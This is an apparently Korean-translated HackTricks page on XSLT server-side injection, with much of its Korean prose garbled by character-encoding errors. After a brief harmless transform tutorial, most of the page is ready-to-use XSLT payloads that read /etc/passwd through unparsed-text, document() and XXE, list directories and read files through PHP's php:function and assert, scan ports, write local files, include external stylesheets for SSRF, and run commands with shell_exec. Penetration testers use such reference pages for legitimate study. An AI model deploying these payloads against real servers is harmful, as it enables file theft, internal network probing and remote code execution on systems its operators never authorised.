XSLT Server Side Injection (Extensible Stylesheet Languaje Transformations)

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

๊ธฐ๋ณธ ์ •๋ณด

XSLT๋Š” XML ๋ฌธ์„œ๋ฅผ ๋‹ค์–‘ํ•œ ํ˜•์‹์œผ๋กœ ๋ณ€ํ™˜ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋˜๋Š” ๊ธฐ์ˆ ์ž…๋‹ˆ๋‹ค. ๋ฒ„์ „ 1, 2, 3์˜ ์„ธ ๊ฐ€์ง€ ๋ฒ„์ „์ด ์žˆ์œผ๋ฉฐ, ๋ฒ„์ „ 1์ด ๊ฐ€์žฅ ์ผ๋ฐ˜์ ์œผ๋กœ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. ๋ณ€ํ™˜ ํ”„๋กœ์„ธ์Šค๋Š” ์„œ๋ฒ„ ๋˜๋Š” ๋ธŒ๋ผ์šฐ์ € ๋‚ด์—์„œ ์‹คํ–‰๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๊ฐ€์žฅ ์ž์ฃผ ์‚ฌ์šฉ๋˜๋Š” ํ”„๋ ˆ์ž„์›Œํฌ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

  • Libxslt from Gnome,
  • Xalan from Apache,
  • Saxon from Saxonica.

XSLT์™€ ๊ด€๋ จ๋œ ์ทจ์•ฝ์ ์„ ์•…์šฉํ•˜๊ธฐ ์œ„ํ•ด์„œ๋Š” xsl ํƒœ๊ทธ๊ฐ€ ์„œ๋ฒ„ ์ธก์— ์ €์žฅ๋˜์–ด์•ผ ํ•˜๋ฉฐ, ๊ทธ ์ฝ˜ํ…์ธ ์— ์ ‘๊ทผํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์ทจ์•ฝ์ ์˜ ์˜ˆ์‹œ๋Š” ๋‹ค์Œ ์ถœ์ฒ˜์— ๋ฌธ์„œํ™”๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค: https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/.

์˜ˆ์ œ - ํŠœํ† ๋ฆฌ์–ผ

sudo apt-get install default-jdk
sudo apt-get install libsaxonb-java libsaxon-java
<?xml version="1.0" encoding="UTF-8"?>
<catalog>
<cd>
<title>CD Title</title>
<artist>The artist</artist>
<company>Da Company</company>
<price>10000</price>
<year>1760</year>
</cd>
</catalog>
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<html>
<body>
<h2>The Super title</h2>
<table border="1">
<tr bgcolor="#9acd32">
<th>Title</th>
<th>artist</th>
</tr>
<tr>
<td><xsl:value-of select="catalog/cd/title"/></td>
<td><xsl:value-of select="catalog/cd/artist"/></td>
</tr>
</table>
</body>
</html>
</xsl:template>
</xsl:stylesheet>

์‹คํ–‰:

saxonb-xslt -xsl:xsl.xsl xml.xml

Warning: at xsl:stylesheet on line 2 column 80 of xsl.xsl:
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<html>
<body>
<h2>The Super title</h2>
<table border="1">
<tr bgcolor="#9acd32">
<th>Title</th>
<th>artist</th>
</tr>
<tr>
<td>CD Title</td>
<td>The artist</td>
</tr>
</table>
</body>
</html>

์ง€๋ฌธ

<?xml version="1.0" encoding="ISO-8859-1"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
Version: <xsl:value-of select="system-property('xsl:version')" /><br />
Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
<xsl:if test="system-property('xsl:product-name')">
Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:product-version')">
Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:is-schema-aware')">
Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-serialization')">
Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"
/><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-backwards-compatibility')">
Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"
/><br />
</xsl:if>
</xsl:template>
</xsl:stylesheet>

๊ทธ๋ฆฌ๊ณ  ์‹คํ–‰ํ•˜์‹ญ์‹œ์˜ค.

$saxonb-xslt -xsl:detection.xsl xml.xml

Warning: at xsl:stylesheet on line 2 column 80 of detection.xsl:
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<h2>XSLT identification</h2><b>Version:</b>2.0<br><b>Vendor:</b>SAXON 9.1.0.8 from Saxonica<br><b>Vendor URL:</b>http://www.saxonica.com/<br>

๋กœ์ปฌ ํŒŒ์ผ ์ฝ๊ธฐ

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')"/>
</xsl:template>
</xsl:stylesheet>
$ saxonb-xslt -xsl:read.xsl xml.xml

Warning: at xsl:stylesheet on line 1 column 111 of read.xsl:
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<?xml version="1.0" encoding="UTF-8"?>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin

SSRF

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:include href="http://127.0.0.1:8000/xslt"/>
<xsl:template match="/">
</xsl:template>
</xsl:stylesheet>

Versions

์‚ฌ์šฉ๋œ XSLT ๋ฒ„์ „์— ๋”ฐ๋ผ ๊ธฐ๋Šฅ์ด ๋” ๋งŽ๊ฑฐ๋‚˜ ์ ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

Fingerprint

์ด๊ฒƒ์„ ์—…๋กœ๋“œํ•˜๊ณ  ์ •๋ณด๋ฅผ ๊ฐ€์ ธ์˜ต๋‹ˆ๋‹ค.

<?xml version="1.0" encoding="ISO-8859-1"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
Version: <xsl:value-of select="system-property('xsl:version')" /><br />
Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
<xsl:if test="system-property('xsl:product-name')">
Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:product-version')">
Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:is-schema-aware')">
Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-serialization')">
Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"
/><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-backwards-compatibility')">
Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"
/><br />
</xsl:if>
</xsl:template>
</xsl:stylesheet>

SSRF

<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl">
</esi:include>

์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ ์ฃผ์ž…

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<script>confirm("We're good");</script>
</xsl:template>
</xsl:stylesheet>

๋””๋ ‰ํ† ๋ฆฌ ๋ชฉ๋ก (PHP)

Opendir + readdir

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('opendir','/path/to/dir')"/>
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
</xsl:template></xsl:stylesheet>

Assert (var_dump + scandir + false)

<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
<xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)))==3')" />
<br />
</body>
</html>

ํŒŒ์ผ ์ฝ๊ธฐ

๋‚ด๋ถ€ - PHP

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:value-of select="unparsed-text('/etc/passwd', โ€˜utf-8')"/>
</xsl:template>
</xsl:stylesheet>

๋‚ด๋ถ€ - XXE

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "/etc/passwd">]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
&ext_file;
</xsl:template>
</xsl:stylesheet>

HTTP๋ฅผ ํ†ตํ•œ

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:value-of select="document('/etc/passwd')"/>
</xsl:template>
</xsl:stylesheet>
<!DOCTYPE xsl:stylesheet [
<!ENTITY passwd SYSTEM "file:///etc/passwd" >]>
<xsl:template match="/">
&passwd;
</xsl:template>

๋‚ด๋ถ€ (PHP-ํ•จ์ˆ˜)

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('file_get_contents','/path/to/file')"/>
</xsl:template>
</xsl:stylesheet>
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
<xsl:copy-of name="asd" select="php:function('assert','var_dump(file_get_contents(scandir(chr(46).chr(47))[2].chr(47).chr(46).chr(112).chr(97).chr(115).chr(115).chr(119).chr(100)))==3')" />
<br />
</body>
</html>

ํฌํŠธ ์Šค์บ”

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="document('http://example.com:22')"/>
</xsl:template>
</xsl:stylesheet>

ํŒŒ์ผ์— ์“ฐ๊ธฐ

XSLT 2.0

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:result-document href="local_file.txt">
<xsl:text>Write Local File</xsl:text>
</xsl:result-document>
</xsl:template>
</xsl:stylesheet>

Xalan-J ํ™•์žฅ

<xsl:template match="/">
<redirect:open file="local_file.txt"/>
<redirect:write file="local_file.txt"/> Write Local File</redirect:write>
<redirect:close file="loxal_file.txt"/>
</xsl:template>

PDF์— ํŒŒ์ผ์„ ์ž‘์„ฑํ•˜๋Š” ๋‹ค๋ฅธ ๋ฐฉ๋ฒ•

์™ธ๋ถ€ XSL ํฌํ•จ

<xsl:include href="http://extenal.web/external.xsl"/>
<?xml version="1.0" ?>
<?xml-stylesheet type="text/xsl" href="http://external.web/ext.xsl"?>

์ฝ”๋“œ ์‹คํ–‰

php:function

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('shell_exec','sleep 10')" />
</xsl:template>
</xsl:stylesheet>
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
<xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)));')" />
<br />
</body>
</html>

์ฝ”๋“œ๋ฅผ ๋‹ค๋ฅธ ํ”„๋ ˆ์ž„์›Œํฌ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ PDF์—์„œ ์‹คํ–‰ํ•˜๊ธฐ

๋” ๋งŽ์€ ์–ธ์–ด๋“ค

์ด ํŽ˜์ด์ง€์—์„œ๋Š” ๋‹ค๋ฅธ ์–ธ์–ด์—์„œ์˜ RCE ์˜ˆ์ œ๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection#C%23%2FVB.NET%2FASP.NET (C#, Java, PHP)

ํด๋ž˜์Šค์—์„œ PHP ์ •์  ํ•จ์ˆ˜์— ์ ‘๊ทผํ•˜๊ธฐ

๋‹ค์Œ ํ•จ์ˆ˜๋Š” ํด๋ž˜์Šค XSL์˜ ์ •์  ๋ฉ”์„œ๋“œ stringToUrl์„ ํ˜ธ์ถœํ•ฉ๋‹ˆ๋‹ค:

<!--- More complex test to call php class function-->
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"
version="1.0">
<xsl:output method="html" version="XHTML 1.0" encoding="UTF-8" indent="yes" />
<xsl:template match="root">
<html>
<!-- We use the php suffix to call the static class function stringToUrl() -->
<xsl:value-of select="php:function('XSL::stringToUrl','une_superstring-ร ร”|modifier')" />
<!-- Output: 'une_superstring ao modifier' -->
</html>
</xsl:template>
</xsl:stylesheet>

(Example from http://laurent.bientz.com/Blog/Entry/Item/using_php_functions_in_xsl-7.sls)

๋” ๋งŽ์€ ํŽ˜์ด๋กœ๋“œ

๋ธŒ๋ฃจํŠธํฌ์Šค ํƒ์ง€ ๋ชฉ๋ก

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt

์ฐธ๊ณ ๋ฌธํ—Œ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ